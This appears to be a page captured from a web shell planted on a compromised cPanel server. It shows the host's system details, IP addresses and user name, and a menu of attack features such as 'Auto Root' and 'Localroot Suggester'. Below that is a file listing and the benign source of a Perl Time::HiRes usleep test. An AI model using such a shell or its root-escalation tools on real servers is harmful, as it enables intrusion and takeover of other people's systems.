Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
cpan /
Time-HiRes /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
Watchdog.pm
1.63
KB
-r--r--r--
2014-12-27 11:48
alarm.t
5.83
KB
-r--r--r--
2014-12-27 11:48
clock.t
2.65
KB
-r--r--r--
2014-12-27 11:48
gettimeofday.t
757
B
-r--r--r--
2014-12-27 11:48
itimer.t
1.69
KB
-r--r--r--
2014-12-27 11:48
nanosleep.t
838
B
-r--r--r--
2014-12-27 11:48
sleep.t
811
B
-r--r--r--
2014-12-27 11:48
stat.t
2.42
KB
-r--r--r--
2014-12-27 11:48
time.t
551
B
-r--r--r--
2014-12-27 11:48
tv_interval.t
186
B
-r--r--r--
2014-12-27 11:48
ualarm.t
2.65
KB
-r--r--r--
2014-12-27 11:48
usleep.t
1.92
KB
-r--r--r--
2014-12-27 11:48
Save
Rename
use strict; BEGIN { require Time::HiRes; unless(&Time::HiRes::d_usleep) { require Test::More; Test::More::plan(skip_all => "no usleep()"); } } use Test::More 0.82 tests => 6; use t::Watchdog; eval { Time::HiRes::usleep(-2) }; like $@, qr/::usleep\(-2\): negative time not invented yet/, "negative time error"; my $limit = 0.25; # 25% is acceptable slosh for testing timers my $one = CORE::time; Time::HiRes::usleep(10_000); my $two = CORE::time; Time::HiRes::usleep(10_000); my $three = CORE::time; ok $one == $two || $two == $three or note "slept too long, $one $two $three"; SKIP: { skip "no gettimeofday", 1 unless &Time::HiRes::d_gettimeofday; my $f = Time::HiRes::time(); Time::HiRes::usleep(500_000); my $f2 = Time::HiRes::time(); my $d = $f2 - $f; ok $d > 0.4 && $d < 0.9 or note "slept $d secs $f to $f2"; } SKIP: { skip "no gettimeofday", 1 unless &Time::HiRes::d_gettimeofday; my $r = [ Time::HiRes::gettimeofday() ]; Time::HiRes::sleep( 0.5 ); my $f = Time::HiRes::tv_interval $r; ok $f > 0.4 && $f < 0.9 or note "slept $f instead of 0.5 secs."; } SKIP: { skip "no gettimeofday", 2 unless &Time::HiRes::d_gettimeofday; my ($t0, $td); my $sleep = 1.5; # seconds my $msg; $t0 = Time::HiRes::gettimeofday(); $a = abs(Time::HiRes::sleep($sleep) / $sleep - 1.0); $td = Time::HiRes::gettimeofday() - $t0; my $ratio = 1.0 + $a; $msg = "$td went by while sleeping $sleep, ratio $ratio.\n"; SKIP: { skip $msg, 1 unless $td < $sleep * (1 + $limit); ok $a < $limit or note $msg; } $t0 = Time::HiRes::gettimeofday(); $a = abs(Time::HiRes::usleep($sleep * 1E6) / ($sleep * 1E6) - 1.0); $td = Time::HiRes::gettimeofday() - $t0; $ratio = 1.0 + $a; $msg = "$td went by while sleeping $sleep, ratio $ratio.\n"; SKIP: { skip $msg, 1 unless $td < $sleep * (1 + $limit); ok $a < $limit or note $msg; } } 1;